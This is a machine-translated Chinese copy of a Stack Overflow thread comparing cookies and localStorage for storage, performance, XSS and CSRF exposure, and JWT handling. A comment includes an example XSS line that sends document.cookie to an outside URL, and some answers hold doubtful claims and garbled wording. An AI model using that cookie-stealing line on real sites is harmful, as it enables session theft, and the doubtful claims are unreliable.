当前位置:  开发笔记 > 编程语言 > 正文

本地存储与Cookie

如何解决《本地存储与Cookie》经验,为你挑选了6个好方法。

我希望通过将所有cookie移动到本地存储来减少我的网站上的加载时间,因为它们似乎具有相同的功能.除了明显的兼容性问题之外,使用本地存储替换cookie功能是否有任何优点/缺点(特别是在性能方面)?



1> jpsimons..:

Cookie和本地存储有不同的用途.Cookie主要用于读取服务器端,本地存储只能由客户端读取.所以问题是,在你的应用程序中,谁需要这些数据 - 客户端还是服务器?

如果它是您的客户端(您的JavaScript),那么一定要切换.您通过发送每个HTTP标头中的所有数据来浪费带宽.

如果它是您的服务器,本地存储不是那么有用,因为您必须以某种方式转发数据(使用Ajax或隐藏的表单字段或其他内容).如果服务器只需要每个请求的总数据的一小部分,那么这可能没问题.

不管怎样,您都希望将会话cookie保留为cookie.

根据技术差异,以及我的理解:

    除了作为一种保存数据的旧方法之外,Cookies还为您提供了4096字节(实际为4095字节)的限制 - 每个cookie.本地存储每个域大到5MB - SO问题也提到了它

    localStorageStorage接口的实现.它存储的数据没有过期日期,只能通过JavaScript 清除,或清除浏览器缓存/本地存储的数据 - 与cookie过期不同.


HTML5具有会话范围存储,也可用作会话cookie的替代.
@OmShankar我不确定你是否还有这个疑问,但不同之处在于:`localStorage`**在客户端保持**,而`cookies`与HTTP标头一起发送.这是他们之间最大的(但不是唯一的)差异.
如果您的客户端应用程序与REST API进行通信,则使用cookie来存储和传输会话ID在REST中不是惯用的.因此,对我来说,cookie看起来像一个旧技术,可能应该用本地存储替换(+ JavaScript,如果你需要将一些数据,如会话ID,传递给服务器).
本地存储不一定比cookie更安全,因为它容易受到XSS攻击.就个人而言,我选择加密的HTTPS cookie(可能使用JWT或JWE),并采用精心设计的到期方案.即实现cookie级别的到期'策略'和服务器端cookie'续订'过程,以减少恶意第三方使用cookie的机会.我在下面写了一个答案,引用了Stormpath关于此事的文章的部分内容.
@PatNiemeyer,您可以将`sessionStorage`假设为一个已到期的Cookie,直到浏览器关闭(不是选项卡).@darkporter,谢谢你的回答.但是,想听听Cookie和本地存储之间**技术**的区别.等待你的编辑.
在本地存储中存储会话信息时还需要考虑另外一个区别 - 移动版Safari不允许您设置本地存储,因此您的应用无法使用它.对于大多数人来说,这不是一个交易破坏者,但是如果你想在任何地方都可以访问并使用本地存储进行登录.
@XtraSimplicity需要指出的是,JWT不是_encrypted_,而是base64 _encoded_。让人感到困惑的是它是经过签名的-第三方无法修改JWT中的数据并维持有效的签名,但是他们肯定可以在没有签名密钥的情况下读取所有数据。
@Sahil似乎并不准确。它仅禁止在私有浏览模式下使用localStorage,而在正常浏览模式下则不允许:/sf/ask/17360801/一个

2> XtraSimplici..:

在JWT的背景下,Stormpath撰写了一篇相当有用的文章,概述了存储它们的可能方法,以及与每种方法相关的(dis-)优势.

它还简要概述了XSS和CSRF攻击,以及如何对抗它们.

我附上了以下文章的一些简短片段,以防他们的文章脱机/他们的网站出现故障.

本地存储

问题:

Web存储(localStorage/sessionStorage)可通过同一域上的JavaScript访问.这意味着您站点上运行的任何JavaScript都可以访问Web存储,因此可能容易受到跨站点脚本(XSS)攻击.简而言之,XSS是一种漏洞,攻击者可以在其中注入将在您的页面上运行的JavaScript.基本的XSS攻击试图通过表单输入注入JavaScript,攻击者在其中发出警报('你被黑了'); 进入表单以查看它是否由浏览器运行并且可以被其他用户查看.

预防:

为了防止XSS,常见的响应是转义并编码所有不受信任的数据.但这远不是完整的故事.2015年,现代网络应用程序使用托管在CDN或外部基础架构上的JavaScript.现代网络应用程序包括用于A/B测试的第三方JavaScript库,漏斗/市场分析和广告.我们使用像Bower这样的包管理器将其他人的代码导入我们的应用程序.

如果您使用的其中一个脚本遭到入侵,该怎么办?恶意JavaScript可以嵌入到页面中,并且Web存储会受到损害.这些类型的XSS攻击可以让每个人在不知情的情况下访问您的网站.这可能是为什么一群组织建议不要存储任何有价值的东西或信任网络存储中的任何信息.这包括会话标识符和令牌.

作为存储机制,Web存储在传输过程中不会强制执行任何安全标准.无论谁阅读Web存储并使用它,都必须尽职尽责,以确保他们始终通过HTTPS发送JWT,而不是HTTP.

饼干

问题:

当与HttpOnly cookie标志一起使用时,Cookie无法通过JavaScript访问,并且不受XSS的影响.您还可以设置安全cookie标记以保证cookie仅通过HTTPS发送.这是过去利用cookie来存储令牌或会话数据的主要原因之一.现代开发人员对使用cookie犹豫不决,因为他们传统上需要将状态存储在服务器上,因此破坏了RESTful最佳实践.如果要在cookie中存储JWT,作为存储机制的Cookie不需要将状态存储在服务器上.这是因为JWT封装了服务器为请求提供服务所需的一切.

但是,cookie容易受到不同类型的攻击:跨站点请求伪造(CSRF).CSRF攻击是一种攻击,当恶意网站,电子邮件或博客导致用户的Web浏览器在用户当前已对其进行身份验证的受信任站点上执行不需要的操作时,就会发生此类攻击.这是对浏览器处理cookie的方式的一种利用.Cookie只能发送到允许它的域.默认情况下,这是最初设置cookie的域.无论您是在galaxies.com还是hahagonnahackyou.com,都会发送cookie以获取请求.

预防:

可以使用同步令牌模式来防止CSRF.这听起来很复杂,但所有现代Web框架都支持这一点.

例如,AngularJS有一个解决方案来验证cookie只能由您的域访问.直接来自AngularJS文档:

执行XHR请求时,$ http服务从cookie(默认情况下为XSRF-TOKEN)读取令牌并将其设置为HTTP头(X-XSRF-TOKEN).由于只有在您的域上运行的JavaScript才能读取cookie,因此您的服务器可以确保XHR来自您域上运行的JavaScript.您可以通过包含xsrfTokenJWT声明来使此CSRF保护无状态:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "tom@andromeda.com",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

利用您的Web应用程序框架的CSRF保护,使得cookie可以用于存储JWT.通过检查API中的HTTP Referer和Origin标头,也可以部分阻止CSRF.CSRF攻击将具有与您的应用程序无关的Referer和Origin标头.

完整的文章可以在这里找到:https: //stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

他们还有一篇关于如何最好地设计和实现JWT的文章,关于令牌本身的结构:https://stormpath.com/blog/jwt-the-right-way/


老实说,我发现整个安全谈话有点分散注意力.是的,`localStorage`可以被页面上的其他脚本访问......但是`XMLHttpRequest`也是如此......是的,HttpOnly标志可以防止窃取cookie,但是浏览器仍然会自动将它发送到匹配域,所以......基本上当你在页面上运行恶意脚本时,你已经被黑了.
优点.在这样一个阅读良好的问题上,以前没有提到本地存储(或者缺少XSS)的安全隐患 - 除了一个不正确的答案,恕我直言,这表明它更安全!
@StijndeWitt每个保护层都有自己的力量和弱点。因此,通常最好具有多个保护层。仅举一个例子:HttpOnly还可以防止非ajax攻击,例如`window.location ='http://google.com?q='+ escape(document.cookie);`。该攻击绕过了浏览器的CORS检查。

3> DevWL..:

借助localStorage,Web应用程序可以在用户的​​浏览器中本地存储数据.在HTML5之前,应用程序数据必须存储在cookie中,包含在每个服务器请求中.可以在本地存储大量数据,而不会影响网站性能.虽然localStorage更现代,但这两种技术都有一些优点和缺点.

饼干

优点

遗产支持(它一直存在)

持久数据

到期日期

缺点

每个域将其所有cookie存储在一个字符串中,这可能使解析数据变得困难

数据未加密,这成为一个问题,因为......虽然规模很小,但每次HTTP请求都会发送cookie限制大小(4KB)

可以从cookie执行SQL注入

本地存储

优点

大多数现代浏览器支持

直接存储在浏览器中的持久数据

同源规则适用于本地存储数据

不会随每个HTTP请求一起发送

每个域约5MB存储空间(即5120KB)

缺点

以前没有任何支持:IE 8,Firefox 3.5,Safari 4,Chrome 4,Opera 10.5,iOS 2.0,Android 2.0

如果服务器需要存储客户端信息,则您必须发送它.

localStorage用法几乎与会话一致.他们有非常精确的方法,所以从会话切换到localStorage真正的孩子的游戏.但是,如果存储的数据对您的应用程序非常重要,那么您可能会使用cookie作为备份,以防localStorage无法使用.如果您想检查浏览器支持localStorage,您只需运行这个简单的脚本:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

"安全(SSL)页面上的localStorage值是孤立的" 正如有人注意到的那样,请记住,如果您从'http'切换到'https'安全协议,localStorage将无法使用,其中cookie仍然是可访问的.如果您使用安全协议,这一点很重要.


因为'可以执行SQL注入'被列为cookie的对象,你说它不能从localStorage执行?

4> pop850..:

那么,本地存储速度很大程度上取决于客户端使用的浏览器以及操作系统.Mac上的Chrome或Safari可能比PC上的Firefox快得多,特别是对于更新的API.一如既往,测试是你的朋友(我找不到任何基准测试).

我真的没有看到cookie与本地存储的巨大差异.此外,您应该更担心兼容性问题:并非所有浏览器都开始支持新的HTML5 API,因此Cookie是您速度和兼容性的最佳选择.


为什么Chrome或Safari在Mac上会更快?无论您使用的是Mac,Linux还是Windows,它都可以运行相同的浏览器代码.
它只是一个内部项目,因此跨浏览器兼容性之类的东西并不是必需的.因为cookie是随每个HTTPRequest一起发送的(我的应用程序有~77个请求),这意味着额外开销约为500kB.我知道显而易见的解决方案是CDN,但我想尝试一些与服务器无关的东西.我自己找不到任何基准,这就是为什么我希望有人在这里知道.

5> benjaminz..:

还值得一提的是,localStorage当用户在某些版本的移动Safari中以"私人"模式浏览时,无法使用.

引用自MDN(https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage):

注意:从iOS 5.1开始,Safari Mobile会将localStorage数据存储在缓存文件夹中,该文件夹可能会在操作系统的要求下偶尔进行清理,通常是在空间不足的情况下.Safari Mobile的私密浏览模式也可以防止完全写入localStorage.



6> Avinash Malh..:

本地存储最多可存储5mb的离线数据,而会话最多可存储5mb的数据.但cookie只能以文本格式存储4kb数据.

LOCAl和Session存储数据采用JSON格式,因此易于解析.但cookie数据是字符串格式.

推荐阅读
mobiledu2402851173
这个屌丝很懒,什么也没留下!
DevBox开发工具箱 | 专业的在线开发工具网站    京公网安备 11010802040832号  |  京ICP备19059560号-6
Copyright © 1998 - 2020 DevBox.CN. All Rights Reserved devBox.cn 开发工具箱 版权所有